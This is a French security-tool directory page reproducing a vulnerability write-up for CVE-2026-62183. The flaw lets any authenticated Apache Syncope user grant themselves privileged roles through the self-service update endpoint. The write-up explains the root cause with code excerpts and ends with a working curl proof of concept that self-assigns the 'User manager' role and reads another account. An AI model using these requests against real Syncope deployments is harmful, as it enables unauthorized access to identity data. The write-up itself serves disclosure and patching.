Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-62183 — Apache Syncope : élévation de privilèges via le self-service utilisateur | Kitploit
Outils/GitHubGitHub/nicpwns/cve-2026-62183
Scanners de VulnérabilitésAnalyse de CodeExploitationSécurité WebArticles et RechercheApprentissage et Éducation
GitHubnicpwns/cve-2026-62183

CVE-2026-62183

Apache Syncope : élévation de privilèges via le self-service utilisateur

Voir le dépôt
159il y a 2 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-62183 — Élévation de privilèges via le libre-service utilisateur d'Apache Syncope

Improper Privilege Management (CWE-269) dans Apache Syncope. Un utilisateur authentifié à faibles privilèges peut s'octroyer des rôles arbitraires (ainsi que des appartenances à des groupes, des ressources externes et un nouveau realm) via l'API de libre-service utilisateur — des opérations qui exigent des habilitations administratives sur tout autre chemin de code — et devenir ainsi administrateur du référentiel d'identités.

Ce dépôt est la référence technique de la vulnérabilité : cause racine, preuve de concept confirmée à l'exécution et notes de reproduction. Le récit de la découverte est publié séparément (voir Write-up).

En un coup d'œil

CVECVE-2026-62183
Éditeur / produitApache Software Foundation — Apache Syncope
Paquet concernéorg.apache.syncope.core:syncope-core-workflow-java
ClasseCWE-269 Improper Privilege Management (mécanisme : CWE-862 Missing Authorization)
GravitéImportant (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versions affectées3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1
Corrigé dans4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x en fin de vie (EOL), pas de correctif
Confirmé sur3.0.16 (distribution autonome, JDK 17), domaine Master

Résumé

Le point d'API de mise à jour en libre-service utilisateur d'Apache Syncope, PATCH /users/self/{key}, n'exige que isAuthenticated(). La couche de logique partagée ignore le contrôle d'autorisation pour les opérations « self », tandis que le data binder continue d'appliquer les champs de requête privilégiés (roles, memberships, resources, auxClasses, realm). Le résultat est une élévation de privilèges directe : un utilisateur à faibles privilèges s'attribue un rôle privilégié et obtient immédiatement ses habilitations — y compris, avec un rôle suffisamment puissant, l'administration complète de tous les utilisateurs. Lorsque l'auto-inscription est activée, la même faille s'applique à doCreate, de sorte qu'un attaquant non authentifié peut créer un compte déjà privilégié.

Conditions préalables

La vulnérabilité s'applique lorsque l'un des adaptateurs de workflow utilisateur suivants est configuré (c'est à cela que l'avis de l'éditeur la limite) :

  • l'adaptateur de workflow utilisateur tout-Java, ou
  • l'adaptateur de workflow utilisateur Flowable avec une définition BPMN qui n'exige pas l'approbation d'un administrateur pour l'auto-inscription / l'auto-mise à jour.

En production, le libre-service est normalement piloté via l'Enduser UI, qui n'expose pas l'affectation des rôles ; pour y parvenir, l'API REST Core doit être appelable par l'utilisateur à faibles privilèges. La preuve de concept ci-dessous, confirmée à l'exécution, utilise la Standalone Distribution, qu'Apache documente comme réservée à l'évaluation et qui embarque des données d'initialisation (l'utilisateur bellini, les rôles intégrés User manager / User reviewer) — ces données d'initialisation ne sont pas présentes dans un déploiement classique. Ce sont des contraintes honnêtes sur l'exploitabilité réelle, et non sur la validité de la faille.

Cause racine

Flux de requête pour PATCH /users/self/{key} :

UserSelfService.update(UserUR)            common/.../rest/api/service/UserSelfService.java   @PATCH @Path("users/self/{key}")
  → UserSelfLogic.update(...)             core/idrepo/logic/.../UserSelfLogic.java
    → AbstractUserLogic.doUpdate(..., self=true)
      → UserDataBinderImpl.update(...)     core/provisioning-java/.../data/UserDataBinderImpl.java

1. Le point d'API n'autorise que « quelqu'un est-il connecté ? » — UserSelfLogic.update :

@PreAuthorize("isAuthenticated() "
    + "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
    + "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
    ...
    ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync);   // self = true

Aucune habilitation (ni USER_UPDATE, ni périmètre rôle/realm) n'est requise.

2. Le contrôle d'autorisation est ignoré pour les opérations self — AbstractUserLogic.doUpdate :

protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
    ...
    if (!self) {                                   // self == true: the whole block is skipped
        Set<String> authRealms = RealmUtils.getEffective(
                AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
        userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
    }
    ...
}

3. Le binder applique les champs privilégiés quoi qu'il arrive — UserDataBinderImpl.update(...) applique les rôles ADD/DELETE, memberships(...) (groupes) et fill(...) (ressources / realm) directement depuis la requête, sans contrôle des privilèges de l'appelant — ce contrôle est censé se trouver dans la couche Logic que l'étape 2 ignore. Le chemin administratif (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) exécute bien securityChecks ; le chemin self, non.

Le rôle octroyé prend effet à l'authentification : AuthDataAccessor.getUserAuthorities(user) parcourt userDAO.findAllRoles(user) et fusionne les habilitations de chaque rôle ; le rôle auto-attribué est donc actif dès la requête/connexion suivante de l'utilisateur. La même absence de contrôle (if (!self)) est présente dans doCreate, ce qui étend la faille à l'auto-inscription.

En résumé : deux couches ont chacune supposé que l'autre appliquait le contrôle de privilèges. Le point d'API déléguait l'autorisation à la couche Logic ; la couche Logic l'ignorait pour self ; le binder faisait confiance à la couche Logic pour avoir verrouillé les champs.

Preuve de concept

Un utilisateur authentifié ordinaire sans aucun rôle s'attribue le rôle privilégié intégré User manager (qui octroie USER_READ sur /) puis lit un compte arbitraire. Aucune action d'administrateur, aucune configuration particulière. Script complet : poc.sh.

B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["[email protected]"]}]}'

AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 403

# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -w '%{http_code}\n'                                                          # -> 200 ; entity.roles=["User manager"]

# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 200
Télécharger l’outil